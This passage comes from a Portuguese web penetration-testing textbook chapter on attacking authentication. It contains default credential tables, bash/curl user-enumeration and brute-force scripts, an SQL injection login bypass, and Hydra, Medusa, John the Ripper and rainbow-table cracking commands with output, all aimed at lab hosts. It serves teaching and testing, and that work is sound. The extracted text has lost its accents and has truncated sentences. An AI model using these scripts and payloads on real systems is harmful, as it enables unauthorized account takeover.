Por exemplo, observe-se o contedo do arquivo accounts.txt, abaixo ilustrado, que pode ser encontrado no processo de reconhecimento da aplicao de teste Mutillidae. Tudo indica que as informaes exibidas so credenciais de acesso aplicao. Assim, basta test-las, uma a uma, e verificar se possvel autenticar-se como um usurio vlido, conforme ilustrado na Figura 3.7. As vantagens dessa situao residem no tempo economizado para obteno de acesso s reas protegidas do sistema e o no disparo de alertas por eventuais mecanismos de deteco de intruso que estejam instalados no ambiente.
john, monkey, I like the smell of confunk ed, pentest, Commandline KungFu anyone?
95
Outra fonte de credenciais vlidas, descobertas no mapeamento da aplicao, so comentrios deixados pelos programadores, no cdigo HTML apresentado ao usurio, conforme ilustrado na Figura 3.8. Isso acontece, muitas vezes, quando alguma funcionalidade ainda no est finalizada e os desenvolvedores deixam um lembrete contendo identificador e senha de teste, para uso
prprio, o qual no removido do cdigo, por esquecimento, antes da liberao do sistema para produo. Note-se que para essa vulnerabilidade poder ser explorada, contas de teste devem estar presentes no ambiente final da aplicao, o que configura um problema de segurana adicional. Obviamente, descobrir credenciais vlidas logo no incio do teste de invaso representa o cenrio ideal, mas nem sempre ele pode ser alcanado. Assim, deve-se ter em mente que outras informaes, como identificadores de usurios, podem ser igualmente teis, empregando-se outras tcnicas de invaso. Portanto, uma lista deve ser compilada, a partir dos identificadores encontrados, em fontes pblicas, como redes sociais e listas de discusso, durante a etapa de reconhecimento.
96
essa verificao deve sempre ser efetuada em um teste de invaso, para todos os elementos mapeados, pois pode trazer excelentes resultados, com o mnimo de esforo. Em sistemas desenvolvidos para o uso interno de uma empresa, normal encontrar contas previsveis como admin, administrator, root, system, test, teste, test123 e guest. As senhas, por sua vez, costumam ser vazias, iguais aos prprios identificadores ou palavras comuns, como password, pass123 e senha (Meucci et al., 2008). Alm disso, essas contas, normalmente, possuem privilgios administrativos sobre a aplicao, resultando em maior impacto, quando exploradas. Ainda nesse escopo, contas de novos usurios, muitas vezes, so definidas com senhas padronizadas ou baseadas em uma regra de formao, dependente do identificador de usurio. Isso cria uma janela de oportunidade para ataques, que perdura at que o novo colaborador substitua a senha inicial. Para concluir esta seo, a Figura 3.9 lista credenciais conhecidas para alguns sistemas web e plataformas subjacentes encontrados comumente em sistemas de produo. Plataforma/Sistema Apache Tomcat Apache Tomcat Apache Tomcat BEA Weblogic IBM WebSphere Application Server Microsoft SQL Server MySQL Oracle Database Oracle Database Oracle Database phpMyAdmin
Figura 3.9 Exemplos de conta e senha padronizadas.
Verses Diversas Diversas Diversas 5.1 Community Edition 2000, 2005 Todas Diversas 7, 8i < 10 Todas
Usurio admin admin tomcat system system sa root scott sys system root god
Senha admin tomcat tomcat weblogic manager Captulo 3 - Teste do mecanismo de autenticao
admin admin
97
q
Figura 3.10 Mensagens de erro no uniformes em caso de tentativa malsucedida de autenticao: (a) Usurio existe, mas senha informada incorreta. (b) Usurio no existe.
(a)
(b)
Como um mecanismo de travamento de conta por tentativas malsucedidas de autenticao pode estar habilitado, razovel realizar o teste com uma senha plausvel, para no desperdiar uma das chances disponveis. Estratgias eficazes incluem repetir o prprio identificador de usurio ou fornecer uma das senhas comuns, enumeradas na seo anterior (Stuttard e Pinto, 2007). Note que a chave para o sucesso da tcnica depende de conseguir discernir a situao em que a conta invlida daquela em que ela existe, mas a senha informada no a esperada. Assim, mesmo que as mensagens de erro para os dois casos paream idnticas, deve-se analis-las detalhadamente, em busca de diferenas sutis que possam existir (Stuttard e Pinto, 2007; Meucci et al., 2008). Abaixo esto exemplos de caractersticas que podem
Teste de Invaso de Aplicaes Web
1 Cdigo HTML: as mensagens de erro podem ser visualmente iguais, mas com diferenas no cdigo HTML. Por exemplo, cada pgina pode conter um campo escondido de cdigo de erro, definido com valor especfico.
1 Ttulo da pgina: corpos das mensagens idnticos, mas com ttulos diferentes indicando cada uma das situaes.
98
1 Tempo de resposta: a aplicao pode gastar mais tempo para exibir uma mensagem
de erro, quando o identificador existe e a senha incorreta, porque ela precisa ser transformada e comparada com o valor na base de usurios. Embora isso seja, normalmente, imperceptvel para um ser humano, uma ferramenta automatizada capaz de detectar e apontar tal variao no tempo de processamento.
A sintaxe do utilitrio curl, para submeter o formulrio com os parmetros identificados, e a sada da execuo esto abaixo ilustrados:
~$ curl -s --data userid=admin&senha=admin&Submit1=Login 8 http://form-auth.esr.rnp.br/login.php <table width=380 border=0 cellpadding=0 cellspacing=1 bgcolor=#424271><tr><td><img src=esr-70f.gif/></td></ tr></table><table width=380 border=1 cellpadding=0 cellspacing=1><tr><td align=center><b>admin, seja bem-vindo!</ b></td></tr></table><table width=380 border=1 cellpadding=0 cellspacing=1><tr><td><br/><a href=http://form-auth.esr.rnp.br/ checkbalance.php?auth=Y&uid=admin>Consultar saldo</a><br/><br/><a href=http://form-auth.esr.rnp.br>Encerrar sessão</ a><br/><br/></td></tr></table>
Captulo 3 - Teste do mecanismo de autenticao
99
Pelo HTML retornado, possvel observar que as credenciais admin/admin so vlidas e que os textos marcados em vermelho podem ser empregados para identificar uma autenticao bem-sucedida. Considerando essa informao e tambm que a aplicao exibe as mensagens de erro ilustradas na Figura 3.10, um script para enumerao de usurios est apresentado na Figura 3.12. Esse script obtm a lista de identificadores a partir do arquivo texto ids, que contm um item por linha e tenta se autenticar usando o mesmo valor para usurio e senha. Se as credenciais so validadas, um par (id, id) exibido; se no, se a mensagem de senha incorreta recebida, exibe-se um par (id, ?), indicando conta existente e senha desconhecida. Nesse caso, importante lembrar que uma das tentativas permitidas foi consumida antes do bloqueio da conta.
#!/bin/bash
for id in $(cat ids) do resp=$(curl -s --data userid=$id&senha=$id&Submit1=Login \ http://form-auth.esr.rnp.br/login.php) if [ $(echo $resp | grep -c senha incorreta) -ne 0 ]; then echo ($id, ?) elif [ $(echo $resp | grep -c bem-vindo) -ne 0 ]; then echo ($id ,$id) fi done
Figura 3.12 Script para enumerao de usurios.
Algumas aplicaes web evitam o ataque de enumerao de identificadores de usurios na tela de autenticao, exibindo uma mensagem uniforme de erro, quando as credenciais fornecidas no so vlidas. Apesar disso, o controle no adotado nas demais funcionalidades do sistema, como, por
exemplo, o mecanismo de recuperao de senhas. Consequentemente, o problema, que est ilusTeste de Invaso de Aplicaes Web
trado na Figura 3.13, pode ser explorado empregando a mesma tcnica descrita anteriormente.
(a)
(b)
Figura 3.13 Mecanismo vulnervel de recuperao de senhas, que possibilita enumerao de usurios: (a) Tela exibida, quando identificador existe. (b) Mensagem de erro informando inexistncia de identificador.
100
Aplicaes que permitem a criao da prpria conta de acesso, em sua grande maioria, no tratam a fraqueza em questo durante o processo de cadastro. Quando um identificador j existente fornecido, a aplicao informa o fato ao usurio, revelando, colateralmente, a validade da conta, sem o risco de bloque-la. Nesse caso, entretanto, no fcil corrigir a vulnerabilidade e, por isso, o risco tende a ser assumido. A dificuldade de soluo reside nas opes disponveis para lidar com o problema:
pergunta secreta, e a Figura 3.14(b), a tela exibida quando a resposta correta fornecida. Trs fraquezas ficam evidentes nesse exemplo: a primeira est relacionada ao conjunto limitado de respostas para a pergunta secreta, o que permite um ataque de fora bruta, no qual o usurio malicioso testa todas as possibilidades, uma a uma. Outra delas consiste na exibio da senha original, o que possibilita se autenticar no sistema, sem que o conexo, no incio de cada sesso. Por fim, a ltima vulnerabilidade consiste no armazenamento das senhas, de um modo que possvel recuper-las em claro. Embora esse problema seja fundamental para a existncia da fraqueza anterior, ele no implica a presena daquela em uma aplicao.
Figura 3.14 Mecanismo de recuperao de senhas: (a) Pergunta secreta exibida. (b) Resultado obtido quando resposta correta fornecida.
Captulo 3 - Teste do mecanismo de autenticao
(a)
(b)
101
Alm das vulnerabilidades supracitadas, um mecanismo de recuperao de senhas pode estar sujeito a diversos outros problemas de segurana (Stuttard e Pinto, 2007; Meucci et al., 2008), juntamente, com os meios de explor-los. Um mecanismo de recuperao de senhas pode estar sujeito a diversos outros problemas de segurana:
1 Inexistncia de mecanismo de bloqueio. 1 Cadastro de perguntas secretas personalizadas. 1 Respostas disponveis em fontes pblicas. 1 Envio da senha original para uma conta pr-cadastrada de correio eletrnico. 1 Redirecionamento para uma sesso autenticada. 1 Solicitao da conta de correio eletrnico, para a qual as instrues para recuperao de
senha devem ser enviadas, aps perguntas secretas serem respondidas corretamente.
1 Recuperao de senha por equipe de suporte. 1 Falta de notificao de troca de senha. 1 Inexistncia de mecanismo de bloqueio: se a aplicao no impedir que mltiplas tentativas malsucedidas e consecutivas de resposta s perguntas secretas sejam efetuadas, a execuo de um ataque de fora bruta facilitado.
1 Cadastro de perguntas secretas personalizadas: usurios tendem a registrar perguntas, que so facilmente respondidas, como, por exemplo, voc gosta de futebol? ou quantos filhos voc tem?. Note que as respostas das duas perguntas pertencem a conjuntos de baixa cardinalidade.
1 Envio da senha original para uma conta pr-cadastrada de correio eletrnico: similar
exibio da senha em tela, permite usar a aplicao, sem que o usurio legtimo saiba do comprometimento. Porm, mais difcil de explorar, pois requer que o atacante descubra a conta de e-mail do usurio e a senha correspondente.
1 Solicitao da conta de correio eletrnico, para a qual as instrues para recuperao de senha devem ser enviadas, aps perguntas secretas serem respondidas
Teste de Invaso de Aplicaes Web
corretamente: basta fornecer uma conta de e-mail, qual se tem acesso, para receber a senha em claro ou um link para um formulrio, no qual ela pode ser redefinida. Observe que algumas aplicaes no solicitam a conta de e-mail de destino, mas a embutem em um campo escondido. Nesse caso, suficiente utilizar um proxy de interceptao para alterar o valor do campo e obter o mesmo resultado.
102
permitir a deteco de incidentes de segurana, se no for possvel evit-los. Assim, quando houver uma troca de senha, por meio do mecanismo de recuperao, uma mensagem de notificao deve ser enviada a uma conta pr-cadastrada de correio eletrnico, pertencente ao usurio legtimo. Com esse controle, mesmo que uma conta seja comprometida, o proprietrio ficar ciente do fato e poder agir, diminuindo o dano causado.
Basic, por meio do protocolo HTTP simples, , portanto, uma prtica totalmente vulnervel, que jamais deve ser adotada. Para exemplificar, a Figura 3.15 ilustra dados de autenticao Basic capturados, a partir da escuta da rede, que podem ser facilmente decodificados para esruser: esruser. comum encontrar na internet aplicaes web que enviam as informaes de autenticao, via protocolo HTTPS, mas que fornecem a pgina para captur-las, empregando HTTP simples.
103
Se, por um lado, no factvel obter, a partir da rede, os dados de conta submetidos ao servidor da aplicao, por outro possvel violar a integridade da pgina de autenticao injetando cdigo malicioso para captura de teclas digitadas ou alterando os elementos da pgina apresentada, de modo a redirecionar as informaes para outro destino. Portanto, fundamental que a pgina, na qual o usurio digita identificador e senha, seja provida por canal seguro. Outra vulnerabilidade, que afeta a transmisso das credenciais, consiste na passagem dessas informaes como parmetros da URL. Mesmo que um canal seguro seja empregado, o identificador e senha fornecidos pelo usurio so mantidos no histrico de navegao e em trilhas de auditoria do servidor web. Se este estiver mal configurado, do ponto de vista de segurana, permitindo acesso aos arquivos do sistema, um atacante pode copiar as trilhas mencionadas e extrair delas diversas credencias vlidas.
Finalmente, a camada SSL/TLS, provida pelo servidor web, pode estar mal configurada e permitir o uso de verses vulnerveis desses protocolos, alm de sutes criptogrficas fracas, sujeitas a ataques criptoanalticos. Esses problemas so discutidos em detalhes no Captulo 9, que trata de falhas nos mecanismos criptogrficos.
caso de falhas inesperadas, a aplicao deve sempre se manter em um estado seguro. Por exemplo, se por um motivo qualquer, a conexo com a base de usurios finalizada, impedindo o processo de autenticao, o acesso do reclamante deve ser negado. Infelizmente, essa diretriz bsica no seguida em profuso, conduzindo a diversos tipos de vulnerabilidades, que afetam, sobretudo, os mecanismos de controle de acesso. Considere a aplicao ilustrada na Figura 3.16, que permite acesso s reas sensveis, somente aos usurios devidamente autenticados e autorizados. Observe que o nome de usurio e a senha so enviados, em dois parmetros distintos, por meio do mtodo POST, quando o boto Login clicado.
104
Se a aplicao no tratar erros inesperados adequadamente, conforme discutido, um usurio malicioso pode se autenticar, mesmo sem conhecimento da senha correspondente. Um teste que deve ser executado, ento, resume-se na remoo de um ou mais parmetros esperados pela aplicao, antes do envio da requisio, para induzir a ocorrncia de um erro.
Isso pode ser realizado com auxlio de um proxy de interceptao, conforme ilustrado na Figura 3.17. Note que, de fato, o sistema apresenta a vulnerabilidade descrita e pode ser explorado.
Testes adicionais que devem ser realizados, com o mesmo objetivo acima exemplificado, incluem:
1 Incluso de parmetros invlidos na requisio. 1 Envio de identificadores de usurio e de senha contendo caracteres no permitidos.
Captulo 3 - Teste do mecanismo de autenticao
105
sComando = select count(*) into :nCount from usuarios where id = + sIdentificador + and senha = + sSenha + ; SqlExecute(hSql, sComando); if (nCount > 0) print(Usurio autenticado);
Figura 3.18 Exemplo de trecho de cdigo empregado para autenticao de usurios, que vulnervel injeo de SQL.
Nesse cenrio, o mecanismo de autenticao pode ser quebrado com os seguintes passos:
1. Usurio malicioso digita o caractere no campo de identificador e descobre que a apli-
a senha. A sequncia ;-- serve para comentar o restante da linha e evitar um erro de sintaxe decorrente do texto que sobra.
3. A aplicao executa a consulta SQL:
select count(*) into :nCount from usuarios where id = or 1=1;-- and senha = qualquervalor;
4. Como a expresso 1=1 uma tautologia, o where avaliado como verdadeiro para
todas as tuplas da tabela e a quantidade delas ser armazenada na varivel nCount. Devido construo do if, que verifica se qualquer registro foi encontrado, a aplicao autentica o usurio, mesmo sem ele saber a senha correta. Encerramos o presente tpico com a anlise da rotina de autenticao ilustrada na Figura 3.19, que est repleta de vulnerabilidades descobertas, no passado, em sistemas reais. Um problema que ainda no foi discutido neste texto est no lao das linhas 8-10, responsvel por comparar a senha armazenada com a fornecida. Observe que o lao executado enquanto no forem encontrados caracteres divergentes e o ndice for menor que o tamanho da senha informada. Esse ltimo exatamente o ponto problemtico, pois permite que um
Teste de Invaso de Aplicaes Web
usurio se autentique, com uma senha de apenas um caractere, desde que corresponda ao primeiro da senha armazenada. fcil perceber que um ataque de fora bruta, nesse caso, seria trivialmente executado.
106
01 02 03 04 05 06 07 08 09 10 11 12 13 14
Figura 3.19 Rotina de autenticao com diversas vulnerabilidades.
public static boolean auth(String id, String pwd) { String senhaArmazenada = getPwd(id); boolean bAuth = senhaArmazenada != null;
try { if (senhaArmazenada != null) { pwd = pwd.toUpperCase(); for (int i = 0; i < pwd.length() && bAuth; i++) { bAuth = pwd.charAt(i) == senhaArmazenada.charAt(i); } } } catch (Exception e) { }
15 16 }
return bAuth;
As demais vulnerabilidades do cdigo pertencem, em sua grande maioria, a classes j discutidas anteriormente:
1 A rotina retorna true, caso sejam fornecidas uma conta vlida e a senha correta adiciogera uma exceo, quando o primeiro caractere do sufixo comparado, fazendo com que o valor corrente da varivel bAuth seja devolvido.
Captulo 3 - Teste do mecanismo de autenticao
107
As justificativas para a adoo dessa prtica resumem-se em diminuir a janela de exposio de uma conta comprometida e dificultar ataques contra arquivos de senhas, pois, na ocasio em que uma delas seja encontrada, no ter mais utilidade nenhuma, por j ter sido alterada (Stuttard e Pinto, 2007). Visando satisfazer o supracitado requisito, muitas aplicaes incluem uma funcionalidade para troca de senhas, mas nem todas a implementam de maneira segura. Um problema muito comum deixar de pedir a senha atual nesse processo, porque a tela para efetuar essa operao s acessvel a usurios autenticados. Para ilustrar como isso pode ser atacado, consideremos um cenrio em que a nova senha solicitada duas vezes, o identificador do usurio atual mantido em um campo escondido e o formulrio submetido por POST. Nesse contexto, possvel alterar a senha de outro usurio da seguinte maneira:
1. Um usurio malicioso habilita um proxy local, para interceptar todas as requisies feitas
para a aplicao.
2. Ele se autentica na aplicao e, em seguida, acessa a pgina para troca de senhas,
sio, que interceptada pelo proxy. De modo a completar o ataque, ele altera o valor do campo escondido, para o identificador da vtima, cuja senha , ento, trocada pela escolhida.
4. A partir disso, a conta comprometida fica disponvel para acesso no autorizado, at que o
usurio legtimo defina nova senha, quando, ento, o ataque pode ser novamente executado.
Um claro exemplo disso so as aplicaes de internet banking, com as quais grandes somas de dinheiro so transferidas diariamente, entre diversas contas e entidades. Por mais simples que seja o tipo de conta, necessrio, pelo menos, saber uma senha, diferente da utilizada nos caixas fsicos, e possuir algum tipo de token, normalmente, na forma de uma cartela de valores. Para clientes que esto sujeitos a maior risco, como as pessoas jurdicas, por exemplo, so empregados, muitas vezes, at trs fatores de autenticao. Uma sesso em uma aplicao desse tipo comea, tipicamente, com a autenticao do usurio por meio da senha, o que permite acesso a diversas funcionalidades bsicas. Quando uma operao envolvendo valores financeiros solicitada, o usurio precisa
Teste de Invaso de Aplicaes Web
fornecer novamente a senha e utilizar o segundo fator, para comprovar sua identidade. Uma implementao segura desse cenrio requer que as informaes de autenticao j validadas sejam mantidas exclusivamente no servidor e que etapas do processo no possam ser ignoradas. A falta de observao desses importantes preceitos o que conduz a vulnerabilidades em tais solues, conforme ilustrado nos cenrios abaixo (Stuttard e Pinto, 2007):
108
1 Uma aplicao, que usa cartelas de senha como segundo fator de autenticao, mantm,
em um campo escondido, o identificador do usurio corrente, uma vez que este j tenha se autenticado por senha. Nas requisies subsequentes, o sistema extrai o nome da conta a partir desse campo, em vez de obt-lo a partir do objeto de sesso salvo no servidor. Um teste que pode ser realizado consiste em interceptar uma requisio de autenticao via segundo fator e alterar o par (identificador, valor da cartela) com os dados de outro usurio. Se a operao for realizada com sucesso, significa que a aplicao no amarra as diversas etapas da autenticao corretamente.
1 A rotina que trata uma determinada operao assume que, se foi chamada, todos os
fatores de autenticao j foram validados. O problema nesse caso que a premissa adotada pode ser falsa e o correto, ento, consiste em verificar se todas as etapas foram completadas com sucesso, antes de atender a solicitao. Para testar a presena dessa vulnerabilidade, todos os passos da operao devem ser executados com uma conta vlida, para que as diversas requisies aplicao sejam mapeadas. Em seguida, deve-se tentar repetir as requisies identificadas, mas desconsiderando aquelas referentes ao processo de autenticao. Se nenhum erro ocorrer, a aplicao se encontra vulnervel.
Um software antigo, mas que permite realizar esse tipo de teste, o Brutus, o qual pode ser ilustra um exemplo de uso bem-sucedido dessa ferramenta, que possibilitou encontrar a senha juk para a conta esr.
Captulo 3 - Teste do mecanismo de autenticao
configurado de diversas maneiras diferentes, contra diversos tipos de protocolos. A Figura 3.20
109
Ataque de dicionrio
Como vimos, um ataque de fora bruta apresenta diversos problemas, podendo demorar muito tempo para atingir um resultado positivo se o espao de senhas for demasiado grande. A falha na abordagem que todas as senhas so consideradas possveis candidatas, embora usurios raramente escolham sequncias sem sentido. Em vez disso, para facilitar a memorizao, a grande maioria das pessoas utiliza palavras do idioma, nomes de familiares, datas, nmeros de documento e pequenas variaes. Por exemplo, n0rm@2011 pode ser usado no lugar de norma2011. Tendo esse fato em mente, uma abordagem mais inteligente resulta no ataque de dicionrio, que seleciona as senhas para teste a partir de uma lista de palavras comuns e variaes. Com essa estratgia, senhas improvveis para a maioria dos usurios so descartadas, economizando com isso uma boa parcela de tempo. Observe, no entanto, que, apesar do
por dispositivos de segurana continuam presentes. Alguns exemplos de utilitrios, que podem ser empregados para realizar ataque de dicionrio contra aplicaes web, incluem:
Cygwin Arcabouo que permite compilar aplicaes desenvolvidas para Linux, em ambientes Windows, por meio de uma camada, na forma de uma biblioteca dinmica que prov grande parte da funcionalidade da API Linux.
1 THC Hydra: distribudo sob licena GPLv3, funciona em todas as plataformas Unix/
Linux, Mac OS/X, Windows com Cygwin e PalmOS. Suporta HTTP Basic, HTTP Digest, autenticao baseada em formulrios e verses protegidas por SSL/TLS, alm de inmeros outros servios. Alm disso, prov uma interface grfica chamada de xHydra.
110
1 Medusa: fornecido sob licena GPLv2, com suporte a todas as plataformas Unix/Linux,
Mac OS/X e Windows com Cygwin. Suporta HTTP Basic, HTTP Digest, autenticao baseada em formulrios e verses protegidas por SSL/TLS, alm de inmeros outros servios.
Vejamos agora como funcionam essas ferramentas. A Figura 3.21 ilustra o resultado de um ataque bem-sucedido do Brutus contra autenticao HTTP Basic, o qual revelou um usurio esruser com senha idntica. Comparando com a configurao da Figura 3.20, utilizada para fora bruta, percebe-se que as diferenas residem no modo Word List e no fornecimento de arquivos contendo listas de palavras para identificador de usurio e para senha.
ACCOUNT FOUND: [http] Host: exemplo.esr.rnp.br User: esruser Password: esruser [SUCCESS]
As opes do programa utilizadas no cenrio so:
1 -h indica o nome de domnio do alvo. 1 -U arquivo contendo lista de identificadores de usurio, um por linha. 1 -P arquivo contendo dicionrio de senhas, um item por linha.
111
Para executar o mesmo teste acima com o utilitrio Medusa, deve-se digitar o seguinte comando:
1 -e n serve para testar senha nula e s, senha idntica ao identificador. 1 -M indica o mdulo a ser carregado para o teste. 1 -m parmetros passados para o mdulo. 1 -v controla a quantidade de informaes exibidas ao usurio.
O prximo exemplo ilustra um teste de dicionrio, efetuado pela ferramenta Hydra, contra o mecanismo de autenticao HTTP Digest, que revelou, com sucesso, a conta esruser com senha esruser. Note-se que a sintaxe apresenta certa semelhana com a da Medusa, o que esperado, considerando que os dois programas possuem o mesmo propsito. As opes -L e -P indicam, respectivamente, os nomes dos arquivos contendo os dicionrios de identificadores de usurio e de senhas; -e ns testa com senha nula e igual ao identificador; http-head define o protocolo e o mtodo; por fim, o ltimo parmetro varia de acordo com o servio e , no caso de http-head, especifica a pgina que requer autenticao.
~$ hydra -L ids -P pwds -e ns exemplo.esr.rnp.br http-head /digest/ Hydra v6.3 (c) 2011 by van Hauser / THC and David Maciejak - use allowed only for legal purposes. Hydra (http://www.thc.org/thc-hydra) starting at 2011-05-28 23:26:19 [DATA] 16 tasks, 1 servers, 48 login tries (l:6/p:8), ~3 tries per task [DATA] attacking service http-head on port 80 [STATUS] attack finished for exemplo.esr.rnp.br (waiting for children to finish) [80][www] host: 192.168.213.200 login: esruser password: esruser
O resultado disso tudo, quando aplicado ao formulrio da Figura 27, o comando abaixo ilustrado. Um ponto importante que deve ser observado que a sintaxe s permite destacar uma nica mensagem de erro. Porm, no cenrio em questo, a aplicao web exibe textos diferentes para senha incorreta e usurio inexistente. Consequentemente, se a lista de identificadores passada por meio da opo -L contiver usurios invlidos, falsos positivos ocorrero, porque o utilitrio no conseguir interpretar a mensagem de erro devolvida.
112
Hydra v6.3 (c) 2011 by van Hauser / THC and David Maciejak - use allowed only for legal purposes. Hydra (http://www.thc.org/thc-hydra) starting at 2011-05-29 01:54:53 [DATA] 16 tasks, 1 servers, 40 login tries (l:5/p:8), ~2 tries per task [DATA] attacking service http-post-form on port 80 [80][www-form] host: 192.168.213.200 admin [80][www-form] host: 192.168.213.200 login: user password: 123 login: admin password:
[STATUS] attack finished for form-auth.esr.rnp.br (waiting for children to finish) [80][www-form] host: 192.168.213.200 senha Hydra (http://www.thc.org/thc-hydra) finished at 2011-05-29 01:54:54
Essa limitao apresentada pelo utilitrio Hydra pode ser facilmente superada, por meio de uma adaptao no script da Figura 3.12, utilizado para enumerao de usurios. Basicamente, um lao externo deve ser adicionado para varrer o dicionrio de senhas, e o comando condicional, limitado ao caso de autenticao bem-sucedida. A Figura 3.22 exibe o novo script, contendo as alteraes necessrias.
login: usuario
password:
# !/bin/bash
for pwd in $(cat pwds) do for id in $(cat ids) do if [ $(curl -s --data userid=$id&senha=$pwd&Submit1=Login \
Captulo 3 - Teste do mecanismo de autenticao
fi done done
113
Quando isso acontece, ou elas esto armazenadas completamente em claro ou so protegidas por algum mecanismo criptogrfico, mas de maneira vulnervel. No melhor caso, quando a proteo das senhas em disco feita corretamente, pode ocorrer de a qualidade delas ser muito baixa, devido a usurios no conscientizados em segurana da informao. Qualquer que seja o cenrio, entretanto, o objetivo a ser perseguido sempre a extrao de credenciais vlidas para acesso ao sistema alvo. Para isso, podem ser utilizadas tcnicas baseadas em criptoanlise, tema do Captulo 9, ou calcadas na fraqueza das senhas. Um timo utilitrio, nesse contexto, o John the Ripper, disponvel para diversas plataformas, sob licena GPLv2, e com suporte nativo a arquivos de senhas de sistemas Unix/ Linux, Windows e Kerberos/AFS. Visando um maior desempenho, em vez de utilizar a API crypt, alguns dos algoritmos criptogrficos e rotinas de suporte foram desenvolvidos diretamente em linguagem Assembly, para vrias arquiteturas diferentes, sobretudo x86. H trs modos de operao pr-definidos, que adotam estratgias diferentes para recuperao das senhas, a partir dos arquivos protegidos:
q
GECOS uma entrada no arquivo /etc/passwd, em sistemas Unix/Linux, que contm informaes sobre a conta de usurio, como nome e telefone, por exemplo.
~$ john passwords Loaded 3 password hashes with 3 different salts (Traditional DES [64/64 BS MMX]) esruser juk senhad guesses: 3 (esruser) (esr) (hard) time: 0:00:00:14 (3) c/s: 812046 trying: secKXy senhhr
114
Ataques de dicionrio so muito mais eficientes que os de fora bruta, porque senhas improvveis no so testadas no processo. A eficcia do mtodo, porm, depende da qualidade e tamanho da lista empregada de palavras, uma vez que a senha deve estar contida nela, para o ataque funcionar. Nos casos em que a tcnica utilizada contra arquivos de senhas, possvel conseguir um grande ganho de desempenho, pois no preciso verificar as palavras uma a uma. A ideia
consiste em alterar a estrutura do dicionrio, de modo a incluir, para cada palavra, a contraparte protegida, que passa a ser a chave de busca. Desse modo, para cada senha protegida do arquivo alvo, verifica-se se o dicionrio contm um registro correspondente e, em caso positivo, a senha em claro a palavra associada. Uma abordagem mais elegante, que permite reduzir o consumo de espao, resume-se no uso de rainbow tables, que foram introduzidas por Oeschslin (2003) como uma melhoria do trabalho de Hellman (1980). Para a explicao a seguir, considere-se que as senhas so protegidas, por meio de uma funo de hash criptogrfica, denotada por h(x), e que Ri(x) corresponde a uma famlia de funes que mapeiam hashes para senhas. O elemento central da soluo o rainbow chain, que consiste em uma sequncia de valores alternados de senhas e hashes, calculados a partir de uma senha inicial. s1 h(s1) h1 R1(h1) s2 h(s2) h(st-1) ht-1 Rt-1(ht-1) st
Diversas cadeias de mesmo comprimento so geradas, a partir de senhas iniciais diferentes, e somente o primeiro e ltimo elementos de cada uma delas so armazenados, resultando em economia de espao. Note que com esses valores possvel reconstruir qualquer cadeia na tabela, bastando para isso aplicar alternadamente h(x) e Ri(x) senha inicial. Para verificar se possvel recuperar a pr-imagem (senha) de um hash H qualquer, a partir da tabela, os seguintes passos devem ser efetuados:
1. Seja a i-sima cadeia parcial a sequncia de valores alternados de hashes e senhas, calculados
a partir de Ri(H), com 1 i t 1: H1 R1(H) si+1 h(si+1) hi+1 Ri+1(hi+1) h(st-1) ht-1 Rt-1(ht-1) st
Captulo 3 - Teste do mecanismo de autenticao
a senha final (s t) seja encontrada como elemento final de uma linha L da tabela. Se isso ocorrer, procede-se ao passo seguinte; se no, o teste encerrado sem sucesso.
3. Neste passo, a cadeia reconstruda a partir da senha inicial recuperada da linha L, at hi,
o qual deve ser comparado contra H. Se os valores forem iguais, a senha procurada a si, isto , aquela imediatamente anterior ao hi. Caso contrrio, obteve-se um falso alarme e o processo deve retornar ao Passo 1, a partir da ltima cadeia parcial avaliada. Na prtica, o processo de busca bem rpido, mas dependendo dos comprimentos de senha contemplados e dos alfabetos utilizados, o tamanho total das tabelas pode ultrapassar vrios terabytes. Como o processo de gerao dessas tabelas bem demorado, o ideal obt-las de algum lugar, j prontas, como o projeto Free Rainbow Tables, por exemplo. Nesse site, esto disponveis tabelas gratuitas para MD5, SHA-1 e NTLM, entre outros formatos.
115
Entre os exemplos de softwares que podem ser empregados para realizar ataques baseados em rainbow tables esto:
1 Cryptohaze GPU Rainbow Cracker: permite gerar e utilizar rainbow tables, as quais
podem ser indexadas para um maior desempenho. Suporta plataformas Windows, Linux e Mac OS, em 64 bits, e requer a presena de um processador grfico com suporte a CUDA. O exemplo abaixo ilustra o uso do rcracki_mt, parte das ferramentas Free Rainbow Tables, para encontrar a senha correspondente ao hash MD5, passado pela opo -h. Observe-se que o processo todo durou pouco mais que trinta segundos e resultou na descoberta de uma senha de seis letras minsculas seguidas de trs dgitos numricos. Antes disso, porm, foram achadas 907 cadeias provveis, que conduziram a falsos alarmes. Para se ter ideia do espao em disco necessrio, para a soluo desse cenrio foram empregadas tabelas que totalizam cerca de 3 GBytes.
~$ rcracki_mt -h 2465d0454ec909560b45b72086604edf *.rti Using 1 threads for pre-calculation and false alarm checking... Found 4 rainbowtable files...
md5_hybrid(loweralpha#6-6,numeric#1-3)#0-0_0_10000x63130363_ distrrtgen[p][i]_0.rti: reading index... 57605680 bytes read, disk access time: 0.87 s reading table... 505042904 bytes read, disk access time: 7.22 s verifying the file... ok searching for 1 hash... plaintext of 2465d0454ec909560b45b72086604edf is esrrnp240
Teste de Invaso de Aplicaes Web
116
3.05 s
total pre-calculation time: 21.10 s total chain walk step: total false alarm: 49985001 907
Em testes caixa-cinza e caixa-branca, primeiramente, deve-se avaliar a qualidade da poltica de senhas adotada e, somente depois, procurar por fraquezas na maneira como foi implementada. Para testes caixa-preta, a anlise de segurana deve se basear em diretrizes gerais de senhas seguras, como as discutidas nesta seo, uma vez que a poltica no fornecida como insumo de trabalho. Vejamos a seguir os itens que devem constar em uma boa poltica de senhas, a razo de cada requisito e as tcnicas de teste que podem ser empregadas, para valid-la:
1 Comprimento mnimo. 1 Complexidade. 1 Troca peridica. 1 Histrico. 1 Mximo de trocas por dia. 1 Bloqueio de contas.
Captulo 3 - Teste do mecanismo de autenticao
Comprimento mnimo
Influi diretamente na cardinalidade do espao de senhas e, logo, no nmero de senhas que precisam ser testadas. Considerando o poder de processamento das placas grficas atuais, o tamanho mnimo recomendado para senhas de contas de usurios comuns e administrativos de 8 e 14 posies, respectivamente. Esse requisito deve ser testado em telas de cadastro de contas e alterao de senhas, com auxlio de um proxy de interceptao, para verificar se o tamanho validado no lado do servidor.
Complexidade
Uma senha forte deve conter elementos de, pelo menos, trs dos seguintes grupos: letras maisculas, letras minsculas, nmeros e caracteres especiais. Alm disso, no devem ser utilizadas palavras de dicionrio, nmeros de documento, datas, nomes, nmeros de telefone e nem variaes. Quando tudo isso adotado, ataques de dicionrio tornam-se
117
